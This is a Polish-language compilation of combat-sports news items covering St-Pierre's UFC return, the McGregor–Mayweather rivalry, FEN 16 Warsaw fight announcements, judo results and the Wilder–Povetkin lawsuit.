O tym, że podpisanie przez St-Pierre'a umowy z UFC jest wydarzeniem nikogo przekonywać nie trzeba. Ponad trzy lata temu 35-letni fighter zawiesił karierę zawodniczą, choć nadal prezentował wysoką formę i odprawiał kolejnych rywali. Przez lata Kanadyjczyk był czołową postacią wagi półśredniej. Mistrzostwo UFC zdobywał dwukrotnie. W listopadzie 2006 roku pokonał Matta Hughesa, ale w pierwszej obronie stracił pas na rzecz Matta Serry. Po roku tytuł wrócił do St-Pierre'a, który wyrównał rachunki z Amerykaninem. Serra przegrał w drugiej rundzie. St-Pierre dziewięć razy skutecznie bronił pasa i zrobił sobie przerwę. Warto dodać, że w trakcie kariery miewał problemy zdrowotne. W grudniu 2011 roku mistrz UFC zerwał więzadła w kolanie i pauzował dziesięć miesięcy. Dla wielu kibiców i obserwatorów stał się ikoną MMA.  Z niecierpliwością czekali, kiedy ponownie będą mogli podziwiać Kanadyjczyka. 

Powrót St-Pierre'a dostarcza wielu emocji, ale także rodzi kolejne pytania. Radości nie ukrywa prezes UFC Dana White. – Jestem podekscytowany. Pracowaliśmy nad tym długo i w końcu udało się – mówił w rozmowie z Los Angeles Times. Wykonano pierwszy krok, jednak w sprawie pierwszej walki St-Pierre'a po dłuższej przerwie nic nie wiadomo. Brak terminu, brak rywala. Jednak… Pojawiają się głosy, że Kanadyjczyk mógłby rywalizować w aż trzech kategoriach wagowych: średniej, półśredniej i lekkiej.

Nie brakuje wątpliwości, co do dyspozycji 35-latka. Czy będzie w stanie rywalizować na najwyższym poziomie? Mimo przerwy, St-Pierre nie odpuścił aktywności i nadal trenował, choć z mniejszym natężeniem. Jego ogromne umiejętności i doświadczenie wyniesione z karate kyokushin, zapasów, boksu, jiu-jitsu sprawiają, że nadal jest groźny. W ostatnim czasie St-Pierre podnosił… umiejętności aktorskie. Można było go zobaczyć w takich produkcjach jak: Kapitan Ameryka: Zimowy Żołnierz czy Kickboxer: Vengeance.

Nowy etap?

Ponad rok temu 33-letnia rodaczka St-Pierre'a, Valerie Letourneau rywalizowała z Joanną Jędrzejczyk o pas mistrzowski w wadze słomkowej. Po pięciorundowym boju musiała uznać wyższość Polki. Dla Kanadyjki była to pierwsza porażka w UFC, ale od tego momentu zaliczyła spadek formy. Przegrała dwie kolejne walki.

Letourneau postanowiła odpocząć od MMA. Na instagramie podziękowała UFC za przygodę i spełnienie marzeń. Zaznaczyła, że nadszedł czas na przemyślenia, co do dalszych planów.

Warto dodać, że Kanadyjka jest kolejną zawodniczką UFC, której kariera znalazła się na zakręcie. W ostatnim czasie dużo mówi się o zakończeniu przygody z MMMA przez Rondę Rousey. Na grudniowej gali UFC Amerykanka wytrzymała w oktagonie z Amandą Nunes zaledwie 48 sekund.

KM

Katarzyna Lubońska zawalczy na kwietniowej gali LFN!

Jedna z najbardziej utalentowanych zawodniczek w Polskim MMA Katarzyna Lubońska wraca do klatkoringu. Tym razem zobaczymy ją w barwach Ladies Fight Night podczas kwietniowej gali żeńskiej organizacji.

Katarzyna Lubońska swoją zawodową karierę w MMA rozpoczęła niecałe 3 lata temu. Piękna i utalentowana zawodniczka szybko skradła serca fanów sportów walki. Ma na swoim koncie cztery zwycięstwa i dwie porażki. Ostatnią walkę, którą Lubońska przegrała na punkty, stoczyła podczas KSW 36 a jej przeciwniczką była Diana Belbita.

„Cieszymy się, że dzięki dobrej współpracy LFN z KSW, Katarzynę Lubońską będziemy w tym roku oglądać w barwach Ladies Fight Night. Zawodniczka otrzymała roczną zgodę od KSW na współpracę z naszą organizacją. To dobrze rokuje na przyszłość i jesteśmy dumni, że nasz LFN Team powiększył się o tak utalentowaną zawodniczkę MMA.” – mówi Łukasz Chmal, prezes Ladies Fight Night.

Kasia już w najbliższych dniach dołączy do LFN Team i weźmie udział w obozie sparingowym organizacji, który odbędzie się w legendarnym klubie Mike’s Gym, otwartym dla wszystkich pragnących doświadczyć treningu na światowym poziomie, w obecności mistrzów. Autorem tego projektu jest charyzmatyczny Mike Passenier. To właśnie pod okiem jego i innych wykwalifikowanych trenerów, najzdolniejsze fighterki z Polski będą przez tydzień (20-26 lutego) szlifować umiejętności przed planowaną na początek kwietnia, kolejną emocjonującą galą LFN.

Przeciwniczką Katarzyny Lubońskiej (4-2-0) będzie finka Vuokko Katainen (3-3-1), która po półtorarocznej przerwie wraca do klatkoringu z ogromnym głodem zwycięstwa. Zawodniczka przeszła operację barku, długą rehabilitację i jak sama mówi jest dziś lepszą fighterką niż przed kontuzją. Przypomnijmy, że zawodniczka z Finlandii w 2013 roku wygrała walkę z Sylwią Juśkiewicz, dziś walczącą w LFN Team.

Piąta gala Ladies Fight Night odbędzie się w Poznaniu i jest planowana na sobotę, 8 kwietnia. Wkrótce więcej szczegółów!

Zaczęła się bitwa na słowa…

Gdyby było cicho, to nic by z tego nie wyszło. A czy wyjdzie? To się dopiero okaże, ale wyraźnie widać, że Conor McGregor i Floyd Mayweather Jr. nie są sobie obojętni. Oczywiście w sensie sportowym.

Z każdym dniem balon robi się coraz większy i musi w końcu pęknąć. Takiego pojedynku świat jeszcze nie widział. Mayweather Jr. w boksie osiągnął wszystko, odniósł także sukces finansowy, z kolei McGregor to charyzmatyczny wojownik UFC, który posiada pas w wadze lekkiej. Powoli zadajemy sobie pytanie, kiedy dojdzie do tej walki.

Ruszyła machina

Jeszcze kilka miesięcy temu ktoś, komu przedstawiono by perspektywę takiej walki puknąłby się w czoło i odesłał nas do najbliższego psychiatry albo chociaż do farmaceuty. Mayweather siedział sobie wygodnie na emeryturze, kiedy McGregor wyzwał go do tablicy. Showman z Irlandii chce stanąć na wprost Amerykanina i odnieść pewne zwycięstwo. 

W listopadzie McGregor pokonał Eddiego Alvareza i po raz kolejny podtrzymał swój apel. Zwrócił uwagę, że jest gotowy na rywalizację bokserską, bo Mayweather boi się „czystej walki”. Oczywiście McGregor zażądał odpowiedniej gaży – 100 milionów złotych.

Było jasne, że zawodnik UFC jest swego rodzaju prowokatorem i czeka na ruch Mayweathera. W końcu „wywołał wilka z lasu”. Niepokonany na zawodowym ringu „Money” jasno przedstawił swoje stanowisko. Podkreślał, że jest legendą boksu i prosił o nieporównywanie go do McGregora. Irlandczyk nie dawał za wygraną, otrzymał licencją bokserską stanu Kalifornia i nie szczędził cierpkich słów Amerykaninowi.

Temat jest ciągle żywy, ale konkretów brak. Powszechnie wiadomo, że McGregor zrobi wszystko, aby nakręcić zainteresowanie i wybić się na pierwszy plan. Z kolei Mayweather jest gwarancją sukcesu finansowego. Jak wiadomo, „do tanga trzeba dwojga”. Irlandczyk zrobił wiele, aby wytworzyć odpowiedni klimat i postawił „Moneya” pod ścianą. Jednak Mayweather to stary lis i na wszystko jest gotowy. Nie wykluczył starcia z McGregorem. – Jeśli chcesz tej walki, to ustal wszystko ze swoimi ludźmi z UFC. Potem zadzwońcie do mnie, twoja ekipa ma mój numer – krótko skwitował sprawę Amerykanin.

Tym samym Mayweather ukrócił doniesienia, wedle których zakontraktowanie walki jest o krok. McGregor nie ukrywa, że jest zdeterminowany, żeby spotkać się z byłym mistrzem WBC, WBA i WBO wagi półśredniej. – Nikt nie może mnie powstrzymać przed tą walką. Nie ucieknie przed czas, ma 40 lat. Jego główka jest malutka, a moja pięść większa niż jego głowa – powiedział Irlandczyk.

Przygotować grunt

Wygląda to trochę jak gra w kotka i myszkę. Rola McGregora sprowadza się do wzbudzenia zainteresowania, powoli do akcji wkracza Mayweather, zainteresowanie rośnie, cały świat czeka…

Wydaje się, że z każdym dniem walka byłego boksera i mistrza UFC staje się coraz bardziej realna. Mayweather nic nie musi, bo jest marką samą w sobie. Dlatego całą robotę musi wykonać McGregor. Stara się jak może, żeby ewentualna walka wzbudzała ogromne emocje i odbiła się szerokim echem. Coraz więcej osób przeświadczonych jest o tym, że to Irlandczykowi odbija. Po prostu McGregor potrzebuje Mayweathera do… sukcesu sportowego, a może w głównej mierze – finansowego.

KM

Santana rywalem Shamaeva na FEN 16 Warsaw Reloaded

Doświadczony Brazylijczyk Shely „Pilao” Santana będzie 11 marca na gali FEN 16 Warsaw Reloaded na Torwarze przeciwnikiem debiutującego w organizacji Fight Exclusive Night oraz w nowej kategorii wagowej czeczeńskiego wojownika Arbiego Shamaeva.

Shely „Pilao” Santana dos Santos (30 lat, 162 cm, 9-5, 3 KO, 2 SUB) pochodzi z Brazylii, ale od kilku lat mieszka i trenuje w Holandii. Początkowo trenował capoeirę, później także muay thai i brazylijskie jiu-jitsu, a dziś oprócz MMA profesjonalnie uprawia też kick-boxing. Obecnie walczy w wagach muszej i koguciej, ale na początku kariery zdarzało mu się rywalizować – i zwyciężać – także w wyższych kategoriach wagowych. W zawodowym MMA debiutował w 2009 roku, wygrywając sześć walk z rzędu na lokalnych galach w Argentynie i Brazylii. Dzięki tej serii zwycięstw dostał szansę występów na arenach najważniejszych w swojej ojczyźnie organizacji Jungle Fight i Shooto Brazil, w których miał okazję walczyć m.in. z Marcosem „Loro” Galvao, obecnym zawodnikiem Bellator MMA. Na gali FEN 16 Warsaw Reloaded powalczy o swoje pierwsze zwycięstwo w Europie, bowiem w dwóch wcześniejszych walkach na Starym Kontynencie musiał uznać wyższość rywali – w 2015 roku w walce wieczoru gali Vote MMA 3 w niemieckim Rheine uległ na punkty Rumunowi Florinowi Gardanowi, a dwa miesiące temu w main evencie gali Night of Masters 10 w Pradze przegrał przed czasem z najlepszym czeskim zawodnikiem wagi muszej Davidem Dvorakiem.

Dla Arbiego Shamaeva (26 lat, 172 cm, 8-3, 5 SUB, 1 KO) starcie z Shelym Santaną na marcowej gali FEN 16 Warsaw Reloaded będzie podwójnym debiutem – w klatkoringu Fight Exclusive Night i w nowej dla niego kategorii koguciej, do której zszedł z wagi piórkowej. Mieszkający na stałe w Warszawie fighter z Groznego to dwukrotny mistrz Polski w amatorskim MMA i zwycięzca mistrzostw Polski w grapplingu. Pierwszą zawodową walkę MMA stoczył w 2011 roku. Dziś ma na swoim koncie 11 walk, z który aż osiem wygrał, raz nokautując i pięciokrotnie poddając rywali. Podopieczny trenera Roberta Jocza za swój najlepszy występ w karierze uważa zwycięski pojedynek z Helsonem Henriquesem. Shamaev wygrywał też z takimi zawodnikami, jak Łukasz Grochowski, Białorusin Semen Tyrlya i Tomasz Zawadzki – pokonując tego ostatniego, zdobył w 2014 roku pas mistrza federacji 3F.

FEN 16 Warsaw Reloaded to drugie wydarzenie organizacji Fight Exclusive Night w Warszawie. W walce wieczoru gali na Torwarze zmierzą się Kamil Łebkowski z Brzylijczykiem Gabrielem Silvą, a w walce o pas w wadze średniej Paweł Żelazowski będzie walczył z Kamilem Gniadkiem. Kibice obejrzą też pojedynki MMA z udziałem Michała Oleksiejczuka, Sebastiana Kotwicy, Pawła Pawlaka, Ireneusza Szydłowskiego i Bartłomieja Kopery, a w pojedynkach w formule K-1 wystąpią Arkadiusz Wrzosek, który zmierzy się z Arturem Bizewskim, oraz Radosław Paczuski i Marcin Szreder.

Bilety na galę FEN 16 Warsaw Reloaded już do kupienia na Eventim.pl i KupBilet.pl. Bilety VIP i zamówienia grupowe – tel. 601 877 229.

FEN

Karol Zyra kontra Adrian Kurek na otwarcie gali FEN 16 Warsaw Reloaded

Mistrz Polski służb mundurowych w MMA Karol Zyra z Championa Ostrołęka oraz doświadczony Adrian Kurek z klubu Forca Dęblin MMA zmierzą się 11 marca w jednej z pierwszych walk gali FEN 16 Warsaw Reloaded na stołecznym Torwarze. Dla obu zawodników będzie to debiut w klatkoringu Fight Exclusive Night.

Karol Zyra (30 lat, 175 cm, 3-0) to przede wszystkim złoty medalista mistrzostw Polski służb mundurowych i brązowy medalista mistrzostw Wojska Polskiego w MMA. Perspektywiczny zawodnik klubu Champion Ostrołęka, którego sportem bazowym jest kick-boxing, doświadczenie w mieszanych sztukach walki zbierał głównie podczas zawodów amatorskich – na tym poziomie rywalizacji stoczył 42 pojedynki, wygrywając przed czasem połowę z nich. Z kolei jako zawodowiec Zyra jest niepokonany – w trzech walkach na galach Sparta i Kurpiowskiej Kuźni Mistrzów pokonał kolejno Radosława Makowskiego, Karola Kurka i Białorusina Mansura Azerbieva.

Adrian „Rudy” Kurek (34 lata, 174 cm, 4-2) to jeden z najbardziej znanych zawodników i trenerów amatorskiego MMA w Polsce – jego podopieczni wielokrotnie zdobywali medale Amatorskiej Ligi MMA. Reprezentant klubu Forca Dęblin MMA na zawodowych arenach rywalizuje od 2012 roku. W ciągu niespełna półtora roku stoczył pięć walk, w których odniósł trzy zwycięstwa przed nokaut, ale nieźle rozwijającą się karierę pokrzyżował mu poważny uraz kolana. W marcu ubiegłego roku „Rudy” powrócił jednak do gry – przed własną publicznością w Dęblinie duszeniem zza pleców poddał Damiana Majewskiego, potwierdzając, że jest w świetnej formie, a po kontuzji nie ma śladu.

FEN 16 Warsaw Reloaded to drugie wydarzenie organizacji Fight Exclusive Night w stolicy Polski. W walce wieczoru gali na Torwarze zmierzą się Kamil Łebkowski z Brzylijczykiem Gabrielem Silvą, a w walce o pas w wadze średniej Paweł Żelazowski będzie walczył z Kamilem Gniadkiem. Kibice obejrzą też pojedynki MMA z udziałem Michała Oleksiejczuka, Sebastiana Kotwicy, Pawła Pawlaka, Arbiego Shamaeva i Bartłomieja Kopery, a w pojedynkach w formule K-1 wystąpią Arkadiusz Wrzosek, który zmierzy się z Arturem Bizewskim, oraz Radosław Paczuski i Marcin Szreder.

Bilety na galę FEN 16 Warsaw Reloaded już do kupienia na Eventim.pl i KupBilet.pl. Bilety VIP i zamówienia grupowe – tel. 601 877 229.

FEN

Polacy ruszają do boju

Czas na kolejną odsłonę zmagań w judo. W najbliższy weekend, 18-19 lutego, w pucharowych turniejach w Oberwarcie i Rzymie w akcji zobaczymy 18 zawodniczek i zawodników z Polski.

Dotychczas judocy rywalizowali w Pucharach Świata w Sofii i Odivelas, jednak odpadli na początku zmagań. W ubiegłym tygodniu w Grand Slam w Paryżu zaprezentowała się Arleta Podolak (57kg), ale pożegnała się z turniejem po pierwszej walce. Liczymy, że w najbliższych startach biało-czerwoni dadzą o sobie znać.

Austria czeka na panie

W Oberwart wystąpi sześć naszych zawodniczek: Ewa Konieczny (48 kg), Anna Borowska (57 kg), Karolina Tałach (63 kg), Beata Pacut, Paula Kułaga (obie 78 kg) i Anna Załęczna (+78 kg). Większość z nich mogliśmy podziwiać w zmaganiach Puchar Polski w Mysiadle. Konieczny, Borowska, Kułaga i Załęczna wygrały rywalizację w swoich kategoriach wagowych. Z kolei Karolina Tałach przegrała w finale z Dominiką Błach. 

Zawody w Mysiadle były dobrym przygotowaniem do startu w Oberwart. Teraz wypada, żeby nasze judoczki, wśród których są mistrzynie Europy w drużynie zabłysnęły na arenie międzynarodowej. W poprzednim sezonie doświadczona Ewa Konieczny dwukrotnie stawała na podium pucharowych zmagań. Dobry początek 2016 roku miała Anna Borowska. Judoczka KS „Kejza Team” Rybnik była trzecia w Pucharze Europy w Warszawie i wygrała turniej w Sarajewie. Kolejne starty wyglądały różnie, ale mistrzyni Starego Kontynentu juniorów 2014 ma spore możliwości. Tak jak i Karolina Tałach, która odpaliła w poprzednim roku. 24-latka zwyciężyła Grand Prix w Zagrzebiu i stawała na podium w Rzymie i Tallinie. 

Coraz śmielej w rywalizacji seniorskiej poczyna sobie Beata Pacut. 21-letnia judoczka zaimponowała zwycięstwem w Warszawie, a rok zakończyła siódmą lokatą na mistrzostwach Europy U23. W tym sezonie powinna zrobić kolejny krok w rozwoju. Szansę zaprezentowania się na poziomie seniorskim dostanie Paula Kulaga. W 2016 roku wyróżniała się w rywalizacji juniorek.   W Oberwart kolejne doświadczenie zdobędzie również wicemistrzyni Europy juniorek z 2015 roku Anna Załęczna.

Panowie w Wiecznym Mieście

Mówi się, że „wszystkie drogi prowadzą do Rzymu”. W najbliższy weekend do stolicy Włoch zawitają judocy, którzy będą rywalizować o punkty w turnieju Pucharu Świata. Na tatami w Rzymie zaprezentuje się dwunastu reprezentantów Polski: Aleksander Beta, Patryk Wawrzyczek, Michał Bartusik, Maciej Zacheja (wszyscy 66 kg), Mateusz Garbacz, Wiktor Mrówczyński, Jacek Brysz (wszyscy 73 kg), Jakub Kubieniec (81 kg), Piotr Kuczera, Patryk Ciechomski (obaj 90 kg), Mariusz Krueger i Kamil Niedziela (obaj 90 kg).

Najwyżej stoją akcje 21-letniego judoki z Rybnika. Piotr Kuczera to brązowy medalista ubiegłorocznych mistrzostw Europy. W przekroju 2016 roku przyzwoicie prezentował się Patryk Ciechomski, który regularnie punktował. Pozostali nasi judocy notowali przeciętne wyniki.

KM

Stanek zamiast Żelazowskiego na gali FEN 16 Warsaw Reloaded

Paweł Żelazowski z powodu kontuzji kręgosłupa musiał wycofać się z pojedynku o wakujący pas Fight Exclusive Night w kategorii półśredniej podczas gali FEN 16 Warsaw Reloaded. W walce z Kamilem Gniadkiem, która nie będzie mieć statusu mistrzowskiej, zawodnika Dzikiego Wschodu Biała Podlaska zastąpi młody prospekt Łukasz Stanek.

Dla Łukasza Stanka (22 lata, 182 cm, 3-2) będzie to druga walka w organizacji Fight Exclusive Night – debiutował w świetnym stylu jesienią ubiegłego roku podczas gali FEN 14 Silesian Rage w rodzinnych Katowicach. Zawodnik miejscowego klubu MMAtadores efektowną balachą na kolano w drugiej rundzie pokonał tego wieczora Adriana Błeszyńskiego, nie tylko dopisując trzecie zawodowe zwycięstwo do swego rekordu, ale też zdobywając bonus za poddanie wieczoru. Utalentowany podopieczny trenera Tomasza Jeruszki wcześniej zwrócił na siebie uwagę kibiców sportów walki, zajmując w 2011 roku drugie miejsce w 10. Międzynarodowym Turnieju Hadaka Waza i zwyciężając rok później w Otwartych Mistrzostwach Świata Kong Sao w formule MMA.

Walka z Kamilem Gniadkiem (22 lata, 178 cm, 11-4-1) będzie największym wyzwaniem w zawodowej karierze Łukasza Stanka, bowiem „Undertaker”, choć jest rówieśnikiem katowiczanina, jest zawodnikiem dojrzałym i posiadającym znacznie większe doświadczenie. Reprezentant Berserkers Team Szczecin, który w profesjonalnym MMA debiutował jako siedemnastolatek, na gali FEN 16 Warsaw Reloaded powalczy o czwarte zwycięstwo z rzędu w nowej dla siebie kategorii półśredniej (wcześniej walczył w wadze lekkiej). W trzech ostatnich walkach Gniadek balachą pokonał Niemca Alexandra Vogta na gali IFO Europe: East Meets West, później podczas FEN 13 Summer Edition w swoim debiucie w Fight Exclusive Night duszeniem zza pleców poddał Klemensa Ewalda, a na niedawnej gali FEN 15 Final Strike już w pierwszej rundzie skrętówką wygrał z Francuzem Vincentem Del Guerrą.

FEN 16 Warsaw Reloaded to drugie wydarzenie organizacji Fight Exclusive Night w Warszawie. W walce wieczoru gali na Torwarze zmierzą się niepokonany od blisko 4 lat Kamil "Bomba" Łebkowski z Brzylijczykiem Gabrielem "Gabito" Silvą, którego z narożnika będzie wspierał starszy, walczący w UFC brat Erick Silva. Kibice obejrzą też pojedynki MMA z udziałem Michała Oleksiejczuka, Sebastiana Kotwicy, Pawła Pawlaka, Ireneusza Szydłowskiego i Bartłomieja Kopery, a w pojedynkach w formule K-1 wystąpią Arkadiusz Wrzosek, który zmierzy się z Arturem Bizewskim, oraz Radosław Paczuski i Marcin Szreder.

Bilety na galę FEN 16 Warsaw Reloaded już do kupienia na Eventim.pl i KupBilet.pl. Bilety VIP i zamówienia grupowe – tel. 601 877 229.

FEN

Powietkin ma dług wobec Wildera

Deontay Wilder wzbogaci się o 4,5 miliona dolarów. Taką kwotę na konto amerykańskiego mistrza WBC wagi ciężkiej musi przelać Andriej Riabiński, promotor Aleksandra Powietkina.

Na szumnych zapowiedziach się skończyło. Wilder i Powietkin nie spotkali się na ringu w Moskwie, ale musieli wyrównać rachunki. W tym przypadku poszkodowany, a zarazem wygrany był Amerykanin. Ale teraz ruch może wykonać druga strona.

Kasa dla Wildera

Kilka dni temu informowaliśmy, że sprawa niedoszłej walki Wildera z Powietkinem znajdzie swój finał na sali sądowej. Mistrz świata WBC spędził wiele godzin na sali treningowej z myślą o majowej walce z popularnym „Saszą”. Nie spodziewał się, że pojedynek zostanie odwołany z powodu stosowania przez rywala meldonium. Do Rosjanina przylgnęła łatka dopingowicza i trudno było go tłumaczyć. Trzy kwietniowe badania dały wynik negatywny, jednak próbka pobrana 27 kwietnia wskazywała na obecność niedozwolonych środków.

Można stwierdzić, że 37-latek urodzony w Kursku dostarczył sobie kłopotów, jednak, jak pokazała przyszłość, nic sobie z tego nie zrobił. Miał walczyć z Bermane Stivernem, ale po raz kolejny w tle pojawiły się problemy dopingowe. W grudniu Rosjanin wszedł do ringu, jednak walczył z Johannem Duhaupasem. Pojedynek zakończył się triumfem byłego mistrza WBA.

Powietkin znalazł się na ustach wszystkich. Coraz więcej osób zastanawia się, jaka będzie przyszłość rosyjskiego pięściarza. Dopingowe wpadki Powietkina stały się przyczynkiem do jego kolejnych problemów. Obóz Deontaya Wildera wytoczył sprawę cywilną przeciw ekipie Aleksandra Powietkina. Mistrz świata WBC wobec poniesionych strat chciał otrzymać rekompensatę finansową.

Czy Powietkin odwoła się?

Nowojorski sąd z bliska przyjrzał się sprawie i zdecydował, że promotor Rosjanina Andriej Riabiński musi wypłacić mistrzowi świata WBC 4,5 milionów dolarów za niedoszłą walkę.

Linia obrony Powietkina zwraca uwagę, że pięściarz stosował meldonium, ale… we wrześniu 2015 roku, kiedy specyfik był dozwolony. Przypomnijmy, substancja na liście zakazanych znalazła się wraz z początkiem 2016 roku. Meldonium stało się powodem kłopotów wielu sportowców. Wracając do Powietkina, obóz Rosjanina ma prawo odwołać się od wyroku sądu. Warto dodać, że wymiar sprawiedliwości nie miał wątpliwości, co do stosowania specyfiku przez rosyjskiego boksera.

Co ciekawe, w sierpniu ubiegłego roku WBC wydało oświadczenie w sprawie Powietkina. Zdaniem organizacji, trudno udowodnić, że pięściarz zażył meldonium po 1 stycznia 2016 roku. Ciekawe, czy ponownie będziemy mieli do czynienia z telenowelą w wadze ciężkiej. W ubiegłym roku byliśmy świadkami wielowątkowego serialu z Tysonem Fury'm w roli głównej. Zapowiada się powtórka z rozrywki? 

KM

15-letnia Nikola najlepsza we Włoszech

Włoska Follonica okazała się wyjątkowa dla Nikoli Szlachty (44kg). 15-latka wygrała zawody Pucharu Europy w judo. Z kolei w turnieju Grand Slam w Paryżu wystąpiła tylko Arleta Podolak (57kg). Drużynowa mistrzyni Europy szybko pożegnała się z rywalizacją.

Na talenty trzeba chuchać i dmuchać, zapewniając im przy tym jak najlepsze warunki do rozwoju. Warto pamiętać, że nie cierpimy na nadmiar mistrzów, więc młode perełki stanowią ogromny kapitał.

Rosjanie panują

Często patrzmy na to, co jest na pierwszym planie, czyli na rywalizację seniorską. Myśląc o przyszłości warto odnieść się do startów młodszych zawodników. W ostatni weekend odbyła się rywalizacja w Pucharze Europy w judo we włoskim mieście Follonica. Powiedzieć, że Rosjanie zdominowali cały turniej to jakby nic nie powiedzieć. Reprezentanci Sbornej zmietli wszystkich i pokazali zdecydowanie, kto rozdaje karty i za kilka lat może władać na tatami. Należy wziąć poprawkę, że mówimy o zmaganiach na Starym Kontynencie, a nie na świecie. Wracając do Włoch, Rosjanie wywalczyli aż 26 medali! Byli w tym względzie lepsi od Italii o 17 krążków! 

Warto podkreślić, że w rywalizacji męskiej Rosjanom uciekło złoto w kategorii 50kg. W finale Csanda Feczko z Węgier pokonał Georiego Tretiakova. Wśród pań triumfowała tylko jedno Rosjanka. Glafira Borisova wygrała zmagania w 40kg.

Nas cieszy bardzo dobry występ Nikoli Szlachty (44kg), dla której zwycięstwo we Włoszech jest najważniejszym dokonaniem w dotychczasowych startach. 15-latka wygrała cztery pojedynki i stanęła na pierwszym stopniu podium. Dobry występ Nikoli sprawił, że Polska zajęła piąte miejsce w klasyfikacji medalowej. Ale nie tylko Szlachta może być zadowolona z siebie. Dobry występ zanotowała Kinga Wolszczak (+70kg), która w zeszłym roku była trzecia podczas zawodów w Fuengiroli. We Włoszech 15-latka stoczyła cztery walki, z których wygrała dwie i zajęła piąte miejsce. Siódma była Paulina Szlachta (48kg), a na dziewiątym miejscu został sklasyfikowany Kacper Kubiak (90kg).

Nie było powtórki

Arleta Podolak (57kg) miała dobre wspomnienia z Paryża, gdzie rok temu zajęła piątą pozycję w zawodach Grand Slam. Tegorocznej wizyty w stolicy Francji nasza zawodniczka nie będzie wspominała zbyt dobrze. Lepsza od Polki okazała się Kubanka Aliuska Ojeda, która wygrała przez waza-ari. Pogromczyni Podolak zakończyła zmagania na siódmej lokacie.

Turniej w Paryżu był mocno obsadzony, bo wystartowało w nim 409 judoków. Najlepiej zaprezentowali się Japończycy, którzy zdeklasowali rywali i zdobyli aż 13 medali, w tym siedem złotych. Drudzy Koreańczycy zapisali na swoim koncie pięć krążków. Trzeci Francuzi wywalczyli 11 medali, ale tylko jedno złoto przy sześciu brązach i czterech srebrach.

Fot. judobase.org

KM

Mike Passenier przygotuje zawodniczki LFN do kolejnej gali!

Tym razem organizacja przygotowała dla swoich zawodniczek coś naprawdę wyjątkowego. Pod koniec lutego dziewczyny z LFN Team spotkają się na obozie sparingowym w Amsterdamie. Miejscem ich treningów będzie legendarny klub holenderskiej szkoły kickboksingu, który jest domem dla takich sław jak Badr Hari, Gokhan Saki, Alistair Overeem, Murthel Groenhart, Melvin Manhoef, Artur Kyshenko, czy dobrze znanej fanom LFN, Anissy Haddaoui. Obóz jest jednym z elementów przygotowań do pierwszej w tym roku gali Ladies Fight Night, którą zaplanowano na pierwszą połowę kwietnia!

Obóz treningowy Ladies Fight Night w Holandii odbędzie się w dniach 20-26 lutego. Amsterdam wybrano nie przypadkowo. Mike’s Gym to legendarny klub otwarty dla wszystkich pragnących doświadczyć treningu na światowym poziomie, w obecności mistrzów. Autorem tego projektu jest charyzmatyczny Mike Passenier. To właśnie pod okiem jego i innych wykwalifikowanych trenerów, najzdolniejsze fighterki LFN Team będą szlifować umiejętności przed planowaną w kwietniu, kolejną emocjonującą galą LFN.

Do Amsterdamu pojedzie aż 10 zawodniczek. Oprócz dziewczyn zakontraktowanych przez żeńską organizację – Katarzyna Posiadała, Judyta Rymarzak, Monika Bohn, Hanna Gujwan, Patrycja Krawczyk, Katarzyna Sadura, Sylwia Juśkiewicz oraz Katarzyna Biegajło na obóz pojadą także dwie dodatkowe zawodniczki Katarzyna Lubońska (KSW) oraz Małgorzata Dymus (Puncher Wrocław).

Pierwsza w tym roku gala Ladies Fight Night odbędzie się już na początku kwietnia w Poznaniu. Organizatorzy zdradzają, że w tym roku planują aż cztery sportowe widowiska w różnych zakątkach Polski. Więcej szczegółów wkrótce!

www.lfn.com.pl

Kotwica kontra Medyński na gali FEN 16 Warsaw Reloaded

Rok temu na FEN 11 Warsaw Time Sebastian Kotwica stoczył bardzo dobry, lecz przegrany pojedynek z Bartłomiejem Koperą. 11 marca powróci na Torwar z misją dopisania do swego rekordu kolejnego zwycięstwa. Na FEN 16 Warsaw Reloaded jego plany spróbuje pokrzyżować inny świetny prospekt, debiutujący w Fight Exclusive Night Arkadiusz Medyński.

Sebastian Kotwica (24 lata, 170 cm, 7-2, 5 KO, 1 SUB) uchodzi za jeden z największych talentów polskiego MMA w wadze piórkowej. Reprezentant krakowskiej Szkoły Walki Drwala wywodzi się z zapasów – jest wielokrotnym mistrzem Polski i zdobywcą Pucharu Polski w różnych kategoriach wiekowych, reprezentował także Polskę na mistrzostwach Europy. W zawodowym MMA debiutował w listopadzie 2013 roku, a w klatkoringu FEN niespełna dwa lata później. Dla organizacji Fight Exclusive Night stoczył już dwie walki – w pierwszej na gali FEN 8 Summer Edition pod koniec pierwszej rundy duszeniem zza pleców poddał Łukasza Demczurę, w drugiej na FEN 11 Warsaw Time po zaciętym boju przegrał na punkty z Bartłomiejem Koperą. Po tej porażce ambitny wojownik z Kraśnika wyjechał na treningi w słynnej Jackson Wink Academy w Albuquerque w USA. Pobyt za oceanem przyniósł znakomite efekty  – po powrocie Kotwica w trzech kolejnych walkach trzykrotnie efektownie nokautował rywali, spędzając w ringu w sumie nieco ponad 6 minut.

Pół roku starszy Arkadiusz „Medyk” Medyński (25 lat, 170 cm, 5-1, 1 SUB) również stopniowo pnie się w górę rankingów polskiego MMA, każdą kolejną walką potwierdzając swoje nieprzeciętne umiejętności. Zawodnik Malinowski Team Żary/Żagań, podobnie jak Sebastian Kotwica, przygodę ze sportami walki rozpoczynał od zapasów, tyle że w stylu klasycznym, zdobywając wiele medali na krajowych imprezach rangi mistrzowskiej. Pierwszą zawodową walkę na zasadach MMA „Medyk” stoczył w styczniu 2013 roku, przegrywając na punkty z Krzysztofem Dobrzyńskim. To jego jedyna porażka w karierze – z pięciu kolejnych starć podopieczny trenera Pawła Malinowskiego wychodził już zwycięsko, pokonując m.in. Łukasza Kuliga i Dawida Gabarę. Na gali FEN 16 Warsaw Reloaded Arkadiusz Medyński zadebiutuje w Fight Exclusive Night.

11 marca na Torwarze kibice obejrzą jeszcze dwie inne walki w kategorii piórkowej – main eventem gali FEN 16 Warsaw Reloaded będzie starcie Kamila Łebkowskiego z Brazylijczykiem Gabrielem Silvą, a w karcie głównej znalazł się także pojedynek z udziałem Bartłomieja Kopery. W innych walkach na zasadach MMA zawalczą tego wieczora m.in. Michał Oleksiejczuk z Riccardo Nosiglią, Ireneusz Szydłowski z Pawłem Pawlakiem i w walce o pas Kamil Gniadek z Pawłem Żelazowskim, a w pojedynkach w formule K-1 wystąpią Arkadiusz Wrzosek, który zmierzy się z Arturem Bizewskim, oraz Radosław Paczuski i Marcin Szreder.

Bilety na galę FEN 16 Warsaw Reloaded już do kupienia na Eventim.pl i KupBilet.pl. Bilety VIP i zamówienia grupowe – tel. 601 877 229.

FEN

ACB 53 już 18 lutego! Znamy pełną kartę walk na galę w Olsztynie.

